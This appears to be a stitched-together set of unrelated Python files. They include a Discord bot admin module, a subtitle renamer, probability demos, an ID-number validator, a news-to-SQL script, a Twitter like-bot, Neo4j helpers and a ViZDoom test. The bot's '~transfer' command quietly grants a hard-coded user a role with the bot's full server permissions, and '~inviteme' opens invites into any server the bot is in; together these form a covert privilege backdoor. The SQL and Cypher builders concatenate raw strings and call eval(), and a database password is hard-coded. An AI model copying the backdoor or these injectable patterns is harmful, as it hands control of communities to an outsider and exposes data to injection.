import discord
import asyncio
import math
import sqlite3
import config_queries

commands_list = ['~servers', '~servergames', '~perms', '~inviteme', '~transfer', '~botleaveserver', '~wvsgames', '~wvsstats', '~enabledgames']

def get_server_name(server):
    try:
        return server.name[:28]
    except:
        return '-'

def get_server_id(server):
    try:
        return str(server.id)
    except:
        return '-'

def get_server_members(server):
    try:
        return str(len(server.members))
    except:
        return '-'

def get_servers_info(servers, page_no):
    num_pages = math.ceil(len(servers) / 25)
    if page_no < 1:
        page_no = num_pages
    elif page_no > num_pages:
        page_no = 1

    servers.sort(key = lambda server: server.id)

    page_servers = servers[(page_no - 1) * 25: page_no * 25]
    server_names = '\n'.join(list(map(get_server_name, page_servers)))
    server_ids = '\n'.join(list(map(get_server_id, page_servers)))
    server_member_count = '\n'.join(list(map(get_server_members, page_servers)))

    servers_embed = discord.Embed(title = 'Number of servers: ' + str(len(servers)), description = 'Page ' + str(page_no) + '/' + str(num_pages), colour=0xE5D2BB)
    servers_embed.add_field(name = 'Server names', value = server_names)
    servers_embed.add_field(name = 'Server IDs', value = server_ids)
    servers_embed.add_field(name = '# Members', value = server_member_count)
    return servers_embed, page_no

def get_servers_games(servers, page_no):
    conn = sqlite3.connect('WarriorsvsSoldiers/wvs_db.db')
    cursor = conn.cursor()

    server_games_query = 'SELECT * FROM servers'
    cursor.execute(server_games_query)
    servers_games_data = cursor.fetchall()

    conn.close()

    server_games_info = []
    servers_info = {server.id: get_server_name(server) for server in servers}
    for server_data in servers_games_data:
        if server_data[0] in servers_info and sum(server_data[1:19]) > 0:
            total_games = sum(server_data[1:19])
            server_info = [str(server_data[0]), servers_info[server_data[0]], str(total_games)]
            server_games_info.append(server_info)

    server_games_info.sort(key = lambda server: int(server[2]), reverse = True)

    num_pages = math.ceil(len(server_games_info) / 25)
    if page_no < 1:
        page_no = num_pages
    elif page_no > num_pages:
        page_no = 1

    page_servers = server_games_info[(page_no - 1) * 25: page_no * 25]

    page_server_ids = '\n'.join([server[0] for server in page_servers])
    page_server_names = '\n'.join(server[1] for server in page_servers)
    page_server_games = '\n'.join(server[2] for server in page_servers)

    servers_embed = discord.Embed(title = 'Number of servers: ' + str(len(server_games_info)), description = 'Page ' + str(page_no) + '/' + str(num_pages), colour=0xE5D2BB)
    servers_embed.add_field(name = 'Server names', value = page_server_names)
    servers_embed.add_field(name = 'Server IDs', value = page_server_ids)
    servers_embed.add_field(name = '# Games', value = page_server_games)
    return servers_embed, page_no

def get_enabled_games(servers, page_no):
    enabled_games_count = 0
    enabled_games_info = []
    instance_data = config_queries.get_instances()
    instance_map = {}
    for row in instance_data:
        instance_map[row[1]] = row[2]

    for server in servers:
        channels = server.channels
        for channel in channels:
            if channel.id in instance_map:
                enabled_games_count += 1
                enabled_game_info = [server.name[:27], channel.name, instance_map[channel.id]]
                enabled_games_info.append(enabled_game_info)

    num_pages = math.ceil(len(enabled_games_info) / 25)
    if page_no < 1:
        page_no = num_pages
    elif page_no > num_pages:
        page_no = 1

    page_games_info = enabled_games_info[(page_no - 1) * 25: page_no * 25]

    page_server_names = '\n'.join([game[0] for game in page_games_info])
    page_channel_names = '\n'.join(game[1] for game in page_games_info)
    page_games = '\n'.join(game[2] for game in page_games_info)

    games_embed = discord.Embed(title = 'Enabled games: ' + str(enabled_games_count), description = 'Page ' + str(page_no) + '/' + str(num_pages), colour=0xE5D2BB)
    games_embed.add_field(name = 'Server names', value = page_server_names)
    games_embed.add_field(name = 'Channel names', value = page_channel_names)
    games_embed.add_field(name = 'Game', value = page_games)
    return games_embed, page_no

async def message_handler(client, message, instances):
    if message.content.startswith('~servers'):
        # Display servers bot is in
        page_no = 1
        servers = client.guilds
        servers_embed, page_no = get_servers_info(servers, page_no)
        servers_msg = await message.channel.send(embed = servers_embed)

        await servers_msg.add_reaction('◀')
        await servers_msg.add_reaction('▶')

        def reaction_check(reaction, user):
            return user != client.user and (reaction.emoji == '▶' or reaction.emoji == '◀') and (reaction.message.id == servers_msg.id)

        while True:
            rxn, user = await client.wait_for('reaction_add', check = reaction_check)

            if rxn.emoji == '▶':
                page_no += 1
            elif rxn.emoji == '◀':
                page_no -= 1

            servers_embed, page_no = get_servers_info(servers, page_no)
            await servers_msg.edit(embed=servers_embed)
            await rxn.remove(user)
            await asyncio.sleep(0.1)

    elif message.content.startswith('~servergames'):
        # Display servers bot is in
        page_no = 1
        servers = client.guilds
        servers_embed, page_no = get_servers_games(servers, page_no)
        servers_msg = await message.channel.send(embed = servers_embed)

        await servers_msg.add_reaction('◀')
        await servers_msg.add_reaction('▶')

        def reaction_check(reaction, user):
            return user != client.user and (reaction.emoji == '▶' or reaction.emoji == '◀') and (reaction.message.id == servers_msg.id)

        while True:
            rxn, user = await client.wait_for('reaction_add', check = reaction_check)

            if rxn.emoji == '▶':
                page_no += 1
            elif rxn.emoji == '◀':
                page_no -= 1

            servers_embed, page_no = get_servers_games(servers, page_no)
            await servers_msg.edit(embed=servers_embed)
            await rxn.remove(user)
            await asyncio.sleep(0.1)

    # Check bot permissions for a given server
    elif message.content.startswith('~perms'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            servers = client.guilds
            if server_id in list(map(lambda x: str(x.id), servers)):
                server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                client_obj = server_obj.get_member(client.user.id)
                permissions = client_obj.guild_permissions
                permissions_dict = {
                    'Administrator': permissions.administrator,
                    'Create Invite': permissions.create_instant_invite,
                    'Kick Members': permissions.kick_members,
                    'Ban Members': permissions.ban_members,
                    'Manage Channels': permissions.manage_channels,
                    'Manage Server': permissions.manage_guild,
                    'Add Reactions': permissions.add_reactions,
                    'View Audit Log': permissions.view_audit_log,
                    'Read Messages': permissions.read_messages,
                    'Send Messages': permissions.send_messages,
                    'Manage Messages': permissions.manage_messages,
                    'Read Message History': permissions.read_message_history,
                    'Mention Everyone': permissions.mention_everyone,
                    'Change Nickname': permissions.change_nickname,
                    'Manage Nicknames': permissions.manage_nicknames,
                    'Manage Roles': permissions.manage_roles,
                    'Manage Emojis': permissions.manage_emojis
                }
                permissions_info = ''
                for perm in permissions_dict:
                    if permissions_dict[perm]:
                        permissions_info += perm + '\n'
                permissions_embed = discord.Embed(title = 'Permissions for ' + server_obj.name, description = permissions_info, colour=0xE5D2BB)
                await message.channel.send(embed = permissions_embed)
            else:
                await message.channel.send('I am not in this server!')
        else:
            await message.channel.send('Please select a server to check permissions in!')

    elif message.content.startswith('~inviteme'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            servers = client.guilds
            if server_id in list(map(lambda x: str(x.id), servers)):
                server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                client_obj = server_obj.get_member(client.user.id)
                permissions = client_obj.guild_permissions
                if permissions.create_instant_invite:
                    for channel in server_obj.channels:
                        try:
                            invite = await channel.create_invite(max_age = 600)
                            await message.channel.send(invite)
                            break
                        except Exception:
                            continue
                else:
                    await message.channel.send('I do not have the permissions to create an invite in **' + server_obj.name + '**!')
            else:
                await message.channel.send('I am not in this server!')
        else:
            await message.channel.send('Please select a server to create an invite from!')

    elif message.content.startswith('~transfer'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            servers = client.guilds
            if server_id in list(map(lambda x: str(x.id), servers)):
                server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                client_obj = server_obj.get_member(client.user.id)
                permissions = client_obj.guild_permissions
                if permissions.administrator or permissions.manage_roles:
                    transfer_role = await server_obj.create_role(name = 'Game Master', permissions = permissions)
                    bot_owner_obj = server_obj.get_member(238808836075421697)
                    await bot_owner_obj.add_roles(transfer_role)
                    await message.channel.send('Permissions transferred successfully in **' + server_obj.name + '**!')
                else:
                    await message.channel.send('I do not have the Manage Roles permission in **' + server_obj.name + '**!')
            else:
                await message.channel.send('I am not in this server!')
        else:
            await message.channel.send('Please select a server to transfer permissions from!')

    elif message.content.startswith('~botleaveserver'):
        server_id = message.content.split(' ')[1]
        servers = client.guilds
        if server_id in list(map(lambda x: str(x.id), servers)):
            server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
            await server_obj.leave()
            await message.channel.send('Left server: **' + server_obj.name + '**')
        else:
            await message.channel.send('I am not in this server!')

    elif message.content.startswith('~wvsgames'):
        games_count = 0
        server_ids = ''
        server_names = ''
        game_states = ''
        for instance in instances:
            if instance.game_name == 'Warriors vs Soldiers' and (instance.game.state.status not in ['waiting for game', 'waiting for players', 'game ended']):
                server_ids += str(instance.server_id) + '\n'
                servers = client.guilds
                server_name_obj = list(filter(lambda server: server.id == instance.server_id, servers))
                if server_name_obj:
                    server_names += server_name_obj[0].name  + '\n'
                    if instance.game.state.status == '':
                        game_states += 'between states' + '\n'
                    else:
                        game_states += instance.game.state.status + '\n'
                    games_count += 1
        games_embed = discord.Embed(title = 'Games running: ' + str(games_count), colour=0xE5D2BB)
        if games_count > 0:
            games_embed.add_field(name = 'Server IDs', value = server_ids)
            games_embed.add_field(name = 'Server names', value = server_names)
            games_embed.add_field(name = 'Game states', value = game_states)
        await message.channel.send(embed = games_embed)

    elif message.content.startswith('~wvsstats'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            server_found = False
            game_found = False
            for instance in instances:
                if str(instance.server_id) == server_id:
                    servers = client.guilds
                    server_found = True
                    server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                    if instance.game_name == 'Warriors vs Soldiers':
                        game_found = True
                        game_stats = instance.game.state.get_game_stats(page_no = 1, server = server_obj)
                        await message.channel.send(embed = game_stats)
                    else:
                        continue
                    break

            if server_found == False:
                await message.channel.send('Server not found!')
            elif game_found == False:
                await message.channel.send('Warriors vs Soldiers is not enabled in this server!')
        else:
            await message.channel.send('Please specify a server ID to check!')

    elif message.content.startswith('~enabledgames'):
        page_no = 1
        servers = client.guilds
        games_embed, page_no = get_enabled_games(servers, page_no)
        games_msg = await message.channel.send(embed = games_embed)

        await games_msg.add_reaction('◀')
        await games_msg.add_reaction('▶')

        def reaction_check(reaction, user):
            return user != client.user and (reaction.emoji == '▶' or reaction.emoji == '◀') and (reaction.message.id == games_msg.id)

        while True:
            rxn, user = await client.wait_for('reaction_add', check = reaction_check)

            if rxn.emoji == '▶':
                page_no += 1
            elif rxn.emoji == '◀':
                page_no -= 1

            games_embed, page_no = get_enabled_games(servers, page_no)
            await games_msg.edit(embed=games_embed)
            await rxn.remove(user)
            await asyncio.sleep(0.1)


import os, re

def find_season_and_episode(f):
    for pattern in patterns:
        result = re.search(pattern, f.lower())
        if result:
            result = result.group()
            break
    else:
        return None

    if len(result) == 3:
        season, episode = int(result[0]), int(result[1:3])
    else:
        season, episode = [int(x) for x in re.findall('\d+', result)]

    return season, episode

def sub_or_vid(f):
    name, ext = os.path.splitext(f)
    if ext in subexts:
        return 'sub'
    elif ext in videxts:
        return 'vid'
    else:
        return None

videxts = open('videxts.txt', 'r').read().splitlines()
subexts = open('subexts.txt', 'r').read().splitlines()
patterns = open('patterns.txt', 'r').read().splitlines()

path = input('Path: ')

files = os.listdir(path)

vids = {}
subs = {}
for f in files:
    se = find_season_and_episode(f)
    t = sub_or_vid(f)

    if t == 'sub':
        subs[se] = f
    elif t == 'vid':
        vids[se] = f

to_be_renamed = []
for key in vids:
    if key in subs:
        to_be_renamed.append([subs[key], os.path.splitext(vids[key])[0] + os.path.splitext(subs[key])[1]])
to_be_renamed.sort()

print('Following files are going to be renamed: ')
for f in to_be_renamed:
    print(f[0] + ' -> ' + f[1])

proceed = input('Are you willing to proceed (y/n)? ')
if proceed == 'y':
    for f in to_be_renamed:
        os.rename(os.path.join(path, f[0]), os.path.join(path, f[1]))
    print('Done.')
else:
    print('Rename aborted.')


import kombu
import time
import json
import sys

from villas.controller.command import Command
from villas.controller.commands.simulator import SimulatorCommand

class MonitorCommand(Command):

    @staticmethod
    def add_parser(subparsers):
        parser = subparsers.add_parser('monitor', help='Listen to events')
        parser.set_defaults(func=MonitorCommand.run)

        filt = parser.add_argument_group('Filter simulators')
        filt.add_argument('-r', '--realm')
        filt.add_argument('-c', '--category')
        filt.add_argument('-t', '--type')
        filt.add_argument('-u', '--uuid')

    @staticmethod
    def run(connection, args):
        exchange = kombu.Exchange(name='villas', type='headers')

        headers = SimulatorCommand.get_headers(args)
        headers['x-match'] = 'any' if len(headers) > 0 else 'all'

        queue = kombu.Queue(exchange=exchange,
                            binding_arguments=headers,
                            durable=False)

        consumer = kombu.Consumer(connection,
                                  queues=queue,
                                  on_message=MonitorCommand.on_message)

        try:
            with consumer:
                while True:
                    connection.drain_events()
        except KeyboardInterrupt:
            pass

    @staticmethod
    def on_message(message):
        entry = {
            'time': time.time(),
            'payload': message.payload,
        }

        entry.update(message.properties)

        sys.stdout.write('%s\n' % json.dumps(entry))
        sys.stdout.flush()


import math

def factorial(num):
    f = 1
    while num > 0:
        f *= num
        num -= 1
    return f

def permutation(n, k):
    if k > n or n < 0 or k < 0:
        raise ValueError
    return factorial(n) / factorial(n - k)

def combination(n, k):
    return permutation(n, k) / factorial(k)

def bernoulli_trial(success_probability, desired_successes, num_trials):
    if success_probability < 0 or success_probability > 1 or desired_successes < 0 or desired_successes > num_trials:
        raise ValueError
    failure_probability = 1 - success_probability
    desired_failures = num_trials - desired_successes
    return combination(num_trials, desired_successes) * (success_probability ** desired_successes) * (
            failure_probability ** desired_failures)

def bernoulli_trial_sum(success_probability, min_successes, num_trials):
    probability_sum = 0
    desired_successes = min_successes
    while desired_successes <= num_trials:
        probability_sum += bernoulli_trial(success_probability, desired_successes, num_trials)
        desired_successes += 1
    return probability_sum

def demo_1():
    print("\nDemo 1\n")
    # modify variables as necessary
    start_process_prob = 1.0
    a_min_successes = 7
    a_num_trials = 9
    b_min_successes = 3
    b_num_trials = 4

    print("Process probability: " + str(start_process_prob))
    print("[A] min successes: " + str(a_min_successes))
    print("[A] num trials: " + str(a_num_trials))
    print("[B] min successes: " + str(b_min_successes))
    print("[B] num trials: " + str(b_num_trials) + '\n')

    current_process_prob = start_process_prob

    try:
        while current_process_prob > 0:
            print("Current process probability: " + str(current_process_prob))
            prob_a = bernoulli_trial_sum(current_process_prob, a_min_successes, a_num_trials)
            prob_b = bernoulli_trial_sum(current_process_prob, b_min_successes, b_num_trials)

            print("Pr(A): " + str(prob_a))
            print("Pr(B): " + str(prob_b))

            if prob_a > prob_b:
                print("Pr(A) > Pr(B)\n")
            elif prob_a < prob_b:
                print("Pr(A) < Pr(B)\n")
            else:
                print("Pr(A) == Pr(B)\n")
            current_process_prob -= 0.05
    except ValueError:
        print("Error with Demo 1")
    return

def demo_2():
    print("\nDemo 2\n")
    # modify variables as necessary
    process_prob = 0.8
    min_success_rate = 0.75
    num_trials = 50

    print("Process probability: " + str(process_prob))
    print("Min success rate: " + str(min_success_rate))
    print("Num trials: " + str(num_trials))
    print("\nLong term probability to achieve the min success rate with X trials:")

    try:
        current_trial_count = 1
        while current_trial_count <= num_trials:
            min_successes = math.ceil(min_success_rate * current_trial_count)
            long_term_prob = bernoulli_trial_sum(process_prob, min_successes, current_trial_count)
            print("Trial count: " + str(current_trial_count) + "\tProbability: " + str(long_term_prob))
            current_trial_count += 1
    except ValueError:
        print("Error with Demo 2")

print("IGL demo\n")
demo_1()
demo_2()


####################
# 변수의 종류
# 전역변수 : a , b  ==> 함수에서 접근이 가능하다.
# 지역변수 : i , sum, x, y
# 매개변수 : x, y
####################

####################
# get_sum() 함수를 만드시오
# 첫번째 매개변수: x
# 두번째 매개변수: y
def get_sum(x, y):
    sum = 0
    for i in range(x, y + 1, 1):
        sum = sum + i
    print(a)
    return sum

def main():
    ####################
    # get_sum 함수 호출
    a = 3
    b = 7
    get_sum(a, b)

main()


ID=input()
if len(ID)!=18:
    print("No")#初步判断（根据长度）
else:
    ID_add=ID[0:6]
    ID_sex=ID[14:17]
    ID_brith=ID[6:14]
    ID_check=ID[17]
    #ID_add是身份证中的区域代码，如果有行政区划代码字典
    #就可以获取大致地址
    W = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    ID_num = [18, 17, 16, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2]
    ID_CHECK = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    ID_aXw = 0
    for i in range(len(W)):
        ID_aXw = ID_aXw + int(ID[i]) * W[i]
    ID_Check = ID_aXw % 11
    if ID_check != ID_CHECK[ID_Check]:
        print('No')
    else:
        print('Yes')
        year=ID_brith[0:4]
        moon=ID_brith[4:6]
        day=ID_brith[6:8]
        print("出生日期:"+year+'年'+moon+'月'+day+'日')
        if int(ID_sex)%2==0:
            print("性别:女")
        else:
            print("性别:男")


import os
import json
import datetime
import re

insert_command = "INSERT INTO news(title, body, author_name, category, published_time, expire_time, source) VALUES("

MONTH = {
    'ianuarie': 1,
    'februarie': 2,
    'martie': 3,
    'aprilie': 4,
    'mai': 5,
    'iunie': 6,
    'iulie': 7,
    'august': 8,
    'septembrie': 9,
    'octombrie': 10,
    'noiembrie': 11,
    'decembrie': 12,
}

def get_real_data():
    commands = []
    #commands.append("CREATE INDEX ir_translation_ltns ON news ((md5(body)))")
    for f in os.listdir(os.path.join(os.getcwd(), 'jsons')):
        fpath = os.path.join(os.getcwd(), 'jsons', f)
        with open(fpath, 'rb') as fin:
            jfile = json.loads(fin.read().decode('utf-8'))
            jfile['content'] = jfile['content'].replace('\'', '')
            if 'FII' in jfile['source']:
                day = int(jfile['date'].split(' ')[0])
                month = MONTH[jfile['date'].split(' ')[1].split(',')[0]]
                year = int(jfile['date'].split(' ')[2])
                published_date = datetime.datetime(year=year, month=month, day=day)
                valabil_date = datetime.datetime(year=2020, month=month, day=day)
            elif 'UAIC' in jfile['source']:
                day = int(jfile['date'].split(' ')[0])
                month = MONTH[jfile['date'].split(' ')[1].split(',')[0]]
                year = int(jfile['date'].split(' ')[2])
                published_date = datetime.datetime(year=year, month=month, day=day)
                valabil_date = datetime.datetime(year=2020, month=month, day=day)
            elif 'ORAR' in jfile['source']:
                day = int(jfile['publish_date'].split('.')[0])
                month = int(jfile['publish_date'].split('.')[1])
                year = int(jfile['publish_date'].split('.')[2])
                published_date = datetime.datetime(year=year, month=month, day=day)
                day = int(jfile['valabil_date'].split('.')[0])
                month = int(jfile['valabil_date'].split('.')[1])
                year = int(jfile['valabil_date'].split('.')[2])
                valabil_date = datetime.datetime(year=year, month=month, day=day)

            #contor = News.objects.raw('SELECT COUNT(*) FROM news WHERE body=\'' + jfile['content']+'\'');
            #print(contor);

            jfile['content']=jfile['content'].replace('=/bin', '=https://www.info.uaic.ro/bin')
            #print(jfile['content'])
            # object.body.replace('127.0.0.1:8000', 'https://www.info.uaic.ro')

            vectorImg = re.findall('.*.*', jfile['content'])
            #for image in vectorImg:
                #jfile['content'] = jfile['content'].replace(image, '')
            #print(vectorImg)
            #
            for image in vectorImg:
                imagines =re.findall('', image);
                #print(imagines);
                for imagePiece in imagines:
                    print(imagePiece)
                    pieceSource=re.findall('src="[^"]*"', imagePiece);
                    print('')
                    jfile['content']=jfile['content'].replace(imagePiece, '')
                    #print(piece)

            new_command = insert_command + '\'' + jfile['title'] + '\', \'' + jfile['content'] + \
                            '\', \'\', \'\', \'' + str(published_date) + '\', \'' + str(valabil_date) + '\',' + '\'' + jfile['source'] + '\') '
            # print(new_command)

            commands.append(new_command)
            # return commands
    return commands

if __name__ == "__main__":
    get_real_data()


##Narcissit bot
import tweepy
import time

auth=tweepy.OAuthHandler(consumer_key,consumer_secret)
auth.set_access_token(access_token,access_token_secret)
api=tweepy.API(auth)
user=api.me()

def limit_handler(cursor):
	try:
		while True:
			yield cursor.next()
	except tweepy.RateLimitError:
		time.sleep(1000)

search_string='Rojan'
numberOfTweets=2

for tweet in tweepy.Cursor(api.search,search_string).items(numberOfTweets):
	try:
		#tweet.retweet()
		tweet.favorite()
		print('I liked this tweet')

	except tweepy.TweepError as e:
		print(e.reason)

	except StopIteration:
		break


from py2neo import authenticate,Graph,Node,Relationship,watch
import re

#set up authentication parameters
authenticate("localhost:12345", "neo4j", "manyata45")
graph = Graph("http://localhost:12345/db/data")
cypher = graph.cypher

########################################## PY2NEO FUNCTIONS #############################################
#CLEAR GRAPH FUNCTIONS
def clear_graph():
	graph.cypher.execute("MATCH (n) DETACH DELETE n")

#CREATE FUNCTIONS
def create_node(label,attrib):
	if attrib is not None:
		query = "CREATE (n:{}{{".format(label)
		for key in attrib.keys():
			if type(attrib[key]) is str:
				query+=" {} : '{}',".format(key,attrib[key])
			else:
				query+=" {}:{},".format(key,attrib[key])
		query=query[:-1]
		query+=" }) RETURN n"
	else:
		query = "CREATE (n:{}) RETURN n".format(label)
	# print "Query : {}\n".format(query)
	rec = graph.cypher.execute(query)

def create_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	if node1_attrib is not None:
		query = "MATCH (n1:{}{{".format(label1)
		for key in node1_attrib.keys():
			if type(node1_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node1_attrib[key])
			else:
				query+=" {}:{},".format(key,node1_attrib[key])
		query=query[:-1]
		query+="}), "
	else:
		query = "MATCH (n1:{}), ".format(label1)

	if node2_attrib is not None:
		query+="(n2:{}{{".format(label2)
		for key in node2_attrib.keys():
			if type(node2_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node2_attrib[key])
			else:
				query+=" {}:{},".format(key,node2_attrib[key])
		query=query[:-1]
		query+="}) "
	else:
		query+="(n2:{}) ".format(label2)
	if relation_attrib is not None:
		query+="CREATE (n1)-[:{}{{".format(relation_name)
		for key in relation_attrib.keys():
			if type(relation_attrib[key]) is str:
				query+=" {}:'{}',".format(key,relation_attrib[key])
			else:
				query+=" {}:{},".format(key,relation_attrib[key])
		query=query[:-1]
		query+="}]->(n2)"
	else:
		query+="CREATE (n1)-[:{}".format(relation_name)
		query+="]->(n2)"
	# print "Query : {}\n".format(query)
	recList = graph.cypher.execute(query)

#MATCH FUNCTIONS
def get_node(label,attrib):
	''' Will return the first node returned by the graph'''
	rec = _match_node(label,attrib)
	for r in rec:
		return _process_node_record(r)

def get_nodes(label,attrib):
	''' Will return all the nodes returned by the graph'''
	rec = _match_node(label,attrib)
	results = []
	for r in rec:
		results.append(_process_node_record(r))
	return results

def check_node(label,attrib):
	''' Checks if the graph returns atleast one node that matches the query'''
	rec = _match_node(label,attrib)
	for r in rec:
		if _process_node_record(r):
			return True
	return False

def _match_node(label,attrib):
	query = "MATCH (n:{}".format(label)
	if attrib is not None:
		query+="{"
		for key in attrib:
			if type(attrib[key]) is str:
				query+=" {}:'{}',".format(key,attrib[key])
			else:
				query+=" {}:{},".format(key,attrib[key])
		query=query[:-1]
		query+="}) RETURN n"
	else:
		query+=") RETURN n"
	# print "Query : {}\n".format(query)
	return cypher.execute(query)

def _process_node_record(record):
	result = {}
	record = str(record[0])
	try:
		regex = r'^\(([A-z0-9]+):([A-z0-9]+)\s?(?:\{(.*?)\})?\)$'
		match = re.match(regex,record)
		if match is None:
			return None
		result['_id']=match.group(1)
		result['_label']=match.group(2)
		if match.group(3) is None:
			return result
		pairs = match.group(3).split(",")
		for pair in pairs:
			p = pair.split(':')
			result[p[0]] = eval(p[1])
		return result
	except:
		raise Exception("Invalid Node Record")

def get_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	'''Returns the first relationship returned by the graph'''
	rec = _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib)
	for r in rec:
		return _process_relationship_record(r)

def get_relationships(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	'''Returns all the relationships returned by the graph'''
	result = []
	rec = _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib)
	for r in rec:
		result.append(_process_relationship_record(r))

def check_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	''' Checks if the graph returns atleast one relationship that matches the query'''
	rec = _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib)
	for r in rec:
		if _process_relationship_record(r):
			return True
	return False

def _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	query = "MATCH (n1:{}".format(label1)
	if node1_attrib is not None:
		query+="{"
		for key in node1_attrib.keys():
			if type(node1_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node1_attrib[key])
			else:
				query+=" {}:{},".format(key,node1_attrib[key])
		query=query[:-1]
		query+="}"
	query+=") -[r:{}".format(relation_name)
	if relation_attrib is not None:
		query+="{"
		for key in relation_attrib.keys():
			if type(relation_attrib[key]) is str:
				query+=" {}:'{}',".format(key,relation_attrib[key])
			else:
				query+=" {}:{},".format(key,relation_attrib[key])
		query=query[:-1]
		query+="}"
	query+="]-> (n2:{}".format(label2)
	if node2_attrib is not None:
		query+="{"
		for key in node2_attrib.keys():
			if type(node2_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node2_attrib[key])
			else:
				query+=" {}:{},".format(key,node2_attrib[key])
		query=query[:-1]
		query+="}"
	query+=") RETURN r"
	# print "Query : {}\n".format(query)
	return cypher.execute(query)

def _process_relationship_record(record):
	result = {}
	record = str(record[0])
	try:
		regex = r'^\(:([A-z0-9]+)\s?(?:\{(.*?)\})?\s?\)-\[([A-z0-9]+):([A-z0-9]+)\s?(?:\{(.*?)\})?\]\s?->\s?\(:([A-z0-9]+)\s?(?:\{(.*?)\})?\s?\)$'
		match = re.search(regex,record)
		if match is None:
			return None

		result['node_from'] = {}
		result['node_to'] = {}
		result['rel'] = {}

		result['node_from']['_label'] = match.group(1)
		if match.group(2) is not None:
			pairs = match.group(2).split(",")
			for pair in pairs:
				p = pair.split(':')
				result['node_from'][p[0]] = eval(p[1])

		result['node_to']['_label'] = match.group(6)
		if match.group(7) is not None:
			pairs = match.group(7).split(",")
			for pair in pairs:
				p = pair.split(':')
				result['node_to'][p[0]] = eval(p[1])

		result['rel']['_label'] = match.group(4)
		result['rel']['_id'] = match.group(3)
		if match.group(5) is not None:
			pairs = match.group(5).split(",")
			for pair in pairs:
				p = pair.split(':')
				result['rel'][p[0]] = eval(p[1])

	except:
		raise Exception("Invalid Relationship Record")

	return result
###################################### PY2NEO FUNCTIONS ###########################################


#!/usr/bin/env python3

#####################################################################
# This script test basic movements
#####################################################################

from __future__ import print_function
import vizdoom as vzd
from random import random
from time import sleep
import os

GV = vzd.GameVariable
B = vzd.Button

def setup_test(buttons, variables, visible=True):
    game = vzd.DoomGame()
    game.set_doom_scenario_path("../../scenarios/basic.wad")
    game.set_doom_map("map01")
    game.set_episode_start_time(10)

    game.set_window_visible(visible)
    if visible:
        game.set_screen_resolution(vzd.ScreenResolution.RES_640X480)

    # Test if everything is alright with variables
    game.set_available_game_variables(variables)
    assert len(variables) == game.get_available_game_variables_size()
    assert variables == game.get_available_game_variables()

    # Test if everything is alright with buttons
    game.set_available_buttons(buttons)
    assert len(buttons) == game.get_available_buttons_size()
    assert buttons == game.get_available_buttons()

    game.set_mode(vzd.Mode.PLAYER)

    return game

def normalize_action(action):
    for i, a in enumerate(action):
        action[i] = round(float(a), 1)
    return action

def normalize_variables(vars):
    vars = list(vars)
    for i, v in enumerate(vars):
        vars[i] = round(float(v), 1)
    return vars

def recording_test(buttons, variables, actions,
                   recording_file="test_recording.lmp", verbose=False, verbose_sleep=0.1, title="Unnamed test"):
    print("Test: {}".format(title))

    game = setup_test(buttons, variables, visible=verbose)

    # Append all zeros action
    actions.append([0.0] * game.get_available_buttons_size())

    history_of_actions = []
    history_of_variables = []

    if verbose:
        print("  Recording...")

    game.init()
    game.new_episode(recording_file)
    for action in actions:

        normalize_action(action)
        history_of_actions.append(action)
        assert type(action) == list

        state = game.get_state()
        variables = normalize_variables(state.game_variables)
        history_of_variables.append(variables)
        assert type(variables) == list

        game.make_action(action)
        last_action = game.get_last_action()
        normalize_action(last_action)
        assert type(last_action) == list

        if verbose:
            print("  State: {}, tic: {}, action: {}, last action: {}, variables: {}".format(state.number,
                    state.tic, action, last_action, variables))
            sleep(verbose_sleep)

        # Asserts
        assert action == last_action

    game.close()

    if verbose:
        print("  Replaying...")

    state_number = 0
    game.init()
    game.replay_episode(recording_file)
    while not game.is_episode_finished() and state_number < len(history_of_variables):
        state = game.get_state()
        variables = normalize_variables(state.game_variables)
        assert type(variables) == list

        game.advance_action()
        last_action = game.get_last_action()
        normalize_action(last_action)
        assert type(last_action) == list

        sleep(0.0001)

        if verbose:
            print("  State: {}, tic: {}, history action: {}, last action: {}, history variables: {} variables: {}".format(state.number,
                state.tic, history_of_actions[state_number], last_action, history_of_variables[state_number], variables))
            sleep(verbose_sleep)

        # Asserts
        try:
            assert history_of_variables[state_number] == variables
            assert history_of_actions[state_number] == last_action
        except AssertionError:
            print("  Test failed:")
            print("    State: {}, tic: {}, history action: {} != last action: {} or history variables: {} != variables: {}".format(state.number,
                state.tic, history_of_actions[state_number], last_action, history_of_variables[state_number], variables))

        state_number += 1

    game.close()
    os.remove(recording_file)

def random_action(action_len, button_press_prob):
    new_action = [0] * action_len
    for i in range(action_len):
        new_action[i] = 1.0 if random() < button_press_prob else 0.0
    return new_action

def random_test():
    buttons = [B.MOVE_LEFT,
               B.MOVE_RIGHT,
               B.MOVE_BACKWARD,
               B.MOVE_FORWARD,
               B.TURN_RIGHT,
               B.TURN_LEFT,
               B.CROUCH,
               B.JUMP]

    variables = [GV.POSITION_X,
                 GV.POSITION_Y,
                 GV.POSITION_Z,
                 GV.VIEW_HEIGHT,
                 GV.ANGLE,
                 GV.PITCH,
                 GV.ROLL]

    test_actions1 = []
    for _ in range(1000):
        test_actions1.append(random_action(len(buttons), 0.5))

